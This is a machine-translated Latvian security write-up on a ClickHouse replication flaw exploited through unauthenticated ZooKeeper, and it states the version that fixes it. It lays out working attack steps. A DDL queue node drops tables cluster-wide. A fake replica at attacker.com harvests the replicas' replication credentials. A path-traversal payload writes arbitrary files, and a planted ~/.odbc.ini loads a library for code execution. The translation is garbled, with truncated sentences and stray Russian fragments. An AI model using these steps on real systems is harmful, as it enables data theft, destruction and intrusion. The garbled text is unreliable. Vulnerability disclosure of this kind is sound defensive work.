Šis raksts pastāstīs par ļoti specifisku ClickHouse replikācijas protokola ievainojamību, kā arī parādīs, kā var paplašināt uzbrukuma virsmu.
ClickHouse ir datu bāze lielu datu apjomu glabāšanai, visbiežāk izmantojot vairāk nekā vienu reprodukciju. Klasterizācija un replikācija pakalpojumā ClickHouse ir izveidota uz augšu
Noklusējuma ZK instalācijai nav nepieciešama autentifikācija, tāpēc tūkstošiem ZK serveru, kas tiek izmantoti Kafka, Hadoop, ClickHouse konfigurēšanai, ir publiski pieejami.
Lai samazinātu uzbrukuma līmeni, instalējot ZooKeeper, vienmēr jākonfigurē autentifikācija un autorizācija
Protams, ir dažas uz 0 dienām balstītas Java deserializācijas, taču iedomājieties, ka uzbrucējs varētu lasīt un rakstīt ZooKeeper, ko izmanto ClickHouse replikācijai.
Ja tas ir konfigurēts klastera režīmā, ClickHouse atbalsta izplatītos vaicājumus /clickhouse/task_queue/ddl
.
Piemēram, jūs izveidojat mezglu /clickhouse/task_queue/ddl/query-0001
ar saturu:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
un pēc tam testa tabula tiks dzēsta klastera serveros host1 un host2. DDL atbalsta arī CREATE/ALTER/DROP vaicājumu izpildi.
Izklausās biedējoši? Bet kur uzbrucējs var iegūt servera adreses?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
tiks izveidoti mezgli kolonnas и metadati.
Saturs /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Vai ir iespējams apvienot datus no šī klastera? Jā, ja replikācijas ports (TCP/9009
) serverī chXX-address
ugunsmūris netiks aizvērts un autentifikācija replikācijai netiks konfigurēta. Kā apiet autentifikāciju?
Uzbrucējs var izveidot jaunu kopiju ZK, vienkārši kopējot saturu no /clickhouse/tables/01-01/foobar/replicas/chXX
un mainot nozīmi host
.
Saturs /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Pēc tam jums jāpaziņo citām replikām, ka uzbrucēja serverī ir jauns datu bloks, kas viņiem ir jāuzņem - ZK tiek izveidots mezgls. /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX monotoni augošs skaitītājs, kam jābūt lielākam par pēdējo notikumu žurnālā):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
kur avota_reprodukcija — iepriekšējā darbībā izveidotās uzbrucēja kopijas nosaukums, block_id — datu bloka identifikators, saņemt - komanda "get block" (un
Pēc tam katra replika nolasa jaunu notikumu žurnālā un pāriet uz serveri, ko kontrolē uzbrucējs, lai saņemtu datu bloku (replikācijas protokols ir binārs, darbojas virs HTTP). Serveris attacker.com
saņems pieprasījumus:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
kur XXX ir replikācijas autentifikācijas dati. Dažos gadījumos tas var būt konts ar piekļuvi datubāzei, izmantojot galveno ClickHouse protokolu un HTTP protokolu. Kā redzējāt, uzbrukuma virsma kļūst kritiski liela, jo replicēšanai izmantotais ZooKeeper palika bez konfigurētas autentifikācijas.
Apskatīsim funkciju iegūt datu bloku no replikas, tas ir rakstīts ar pilnu pārliecību, ka visas kopijas tiek pienācīgi kontrolētas un starp tām ir uzticēšanās.
replikācijas apstrādes kods
Funkcija nolasa failu sarakstu, pēc tam to nosaukumus, izmērus, saturu un pēc tam ieraksta tos failu sistēmā. Ir vērts atsevišķi aprakstīt, kā dati tiek glabāti failu sistēmā.
Ir vairāki apakšdirektoriji /var/lib/clickhouse
(noklusējuma krātuves direktorijs no konfigurācijas faila):
karogi - ierakstīšanas direktorijs
tmp — direktorijs pagaidu failu glabāšanai;
user_files — operācijas ar failiem pieprasījumos ir ierobežotas ar šo direktoriju (INTO OUTFILE un citi);
metadati — sql faili ar tabulu aprakstiem;
preprocessed_configs - apstrādāti atvasinātie konfigurācijas faili no /etc/clickhouse-server
;
dati - faktiskais direktorijs ar pašiem datiem, šajā gadījumā katrai datubāzei šeit vienkārši tiek izveidots atsevišķs apakšdirektorijs (piemēram, /var/lib/clickhouse/data/default
).
Katrai tabulai datu bāzes direktorijā tiek izveidots apakšdirektorijs. Katra kolonna ir atsevišķs fails atkarībā no
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Reprodukcija paredz saņemt failus ar vienādiem nosaukumiem, apstrādājot datu bloku, un nekādā veidā tos nepārbauda.
Uzmanīgais lasītājs, iespējams, jau ir dzirdējis par nedrošo faila_nosaukuma savienošanu funkcijā WriteBufferFromFile
. Jā, tas ļauj uzbrucējam rakstīt patvaļīgu saturu jebkurā FS failā ar lietotāja tiesībām clickhouse
. Lai to izdarītu, uzbrucēja kontrolētajai kopijai uz pieprasījumu ir jāatgriež šāda atbilde (vieglākai izpratnei ir pievienoti rindiņas pārtraukumi):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
un pēc savienošanas ../../../../../../../../../tmp/pwned
fails tiks uzrakstīts /tmp/pwned ar saturu sveiks no zoodārza.
Ir vairākas iespējas, kā pārvērst failu rakstīšanas iespējas attālinātā koda izpildē (RCE).
Ārējās vārdnīcas RCE
Vecākajās versijās direktorijs ar ClickHouse iestatījumiem tika saglabāts ar lietotāja tiesībām Clickhouse по-умолчанию. Файлы настроек представляют собой файлы XML, которые сервис читает при запуске, а затем кэширует в /var/lib/clickhouse/preprocessed_configs
. Kad notiek izmaiņas, tās tiek lasītas atkārtoti. Ja jums ir piekļuve /etc/clickhouse-server
uzbrucējs var izveidot savu root
.
ODBC uz RCE
Instalējot pakotni, tiek izveidots lietotājs clickhouse
, bet tā mājas direktorijs nav izveidots /nonexistent
. Tomēr, izmantojot ārējās vārdnīcas vai citu iemeslu dēļ, administratori izveido direktoriju /nonexistent
un dodiet lietotājam clickhouse
piekļuve tam rakstīt (SSZB! apm. tulkotājs).
ClickHouse atbalsta odbc-bridge
, tāpēc no pieprasījuma vairs nav iespējams norādīt draivera ceļu. Bet vai uzbrucējs var rakstīt mājas direktorijā, izmantojot iepriekš aprakstīto ievainojamību?
Izveidosim failu ~/.odbc.ini
ar šādu saturu:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
pēc tam palaišanas laikā SELECT * FROM odbc('DSN=lalala', 'test', 'test');
bibliotēka tiks ielādēta test.so
un saņēma RCE (paldies
Šīs un citas ievainojamības ir novērstas ClickHouse versijā 19.14.3. Parūpējies par saviem ClickHouse un ZooKeepers!
Avots: www.habr.com